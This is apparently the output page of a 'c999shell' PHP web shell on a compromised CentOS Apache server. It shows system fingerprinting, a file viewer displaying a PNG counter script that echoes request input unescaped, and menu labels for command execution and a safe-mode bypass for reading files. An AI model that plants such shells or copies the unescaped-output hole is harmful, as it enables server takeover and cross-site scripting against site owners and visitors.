Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/counter/ drwxr-xr-x |
Viewing file: demo.php (2.17 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | <?php header("Expires: Mon, 26 Jul 2010 05:00:00 GMT"); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . "GMT"); header("Cache-Control: no-cache, must-revalidate"); header("Pragma: no-cache"); $digit = (!isset($_REQUEST['digit'])) ? "scoreboard" : $_REQUEST['digit']; ?> <html> <head> <title>PNG Counter</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> </head> <body bgcolor="#FFFFFF" text="#000000"> <table width="98%" border="0" cellspacing="0" cellpadding="2" align="center"> <tr> <td align="center" height="70"><b><font face="Verdana, Arial, Helvetica, sans-serif" size="3"><u>PNG Counter 1.0</u></font></b></td> </tr> <tr> <td align="center" height="100"><img src="counter.php?page=demo&digit=<?php echo $digit; ?>" alt="Counter" border="0"></td> </tr> <tr> <td align="center"><font face="Verdana, Arial, Helvetica, sans-serif" size="1" color="#003366"><img src="counter.php?page=demo&digit=<?php echo $digit; ?>"> </font></td> </tr> <tr> <td valign="top" height="40"><font face="Verdana, Arial, Helvetica, sans-serif" size="2">Digits:</font></td> </tr> <tr> <td valign="top"> <font face="Verdana, Arial, Helvetica, sans-serif" size="2"> <?php chdir("./digits"); $hnd = opendir("."); while ($file = readdir($hnd)) { if(is_dir($file)) { if ($file != "." && $file != "..") { $digit_list[] = $file; } } } closedir($hnd); if ($digit_list) { sort($digit_list); $SELF = basename($HTTP_SERVER_VARS['PHP_SELF']); for($i=0;$i<sizeof($digit_list);$i++) { echo "<a href=\"$SELF?digit=$digit_list[$i]\">$digit_list[$i]</a> |\n"; } } ?> </font> </td> </tr> <tr> <td align="center" height="60"><font face="Verdana, Arial, Helvetica, sans-serif" size="2"><a href="javascript:location.reload()">Reload</a></font></td> </tr> <tr> <td height="60"><font face="Verdana, Arial, Helvetica, sans-serif" size="1">Digits were taken from www.digitmania.com<br> PNG converted with Imagemagick -> ftp.imagemagick.org</font></td> </tr> </table> </body> </html> |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0056 ]-- |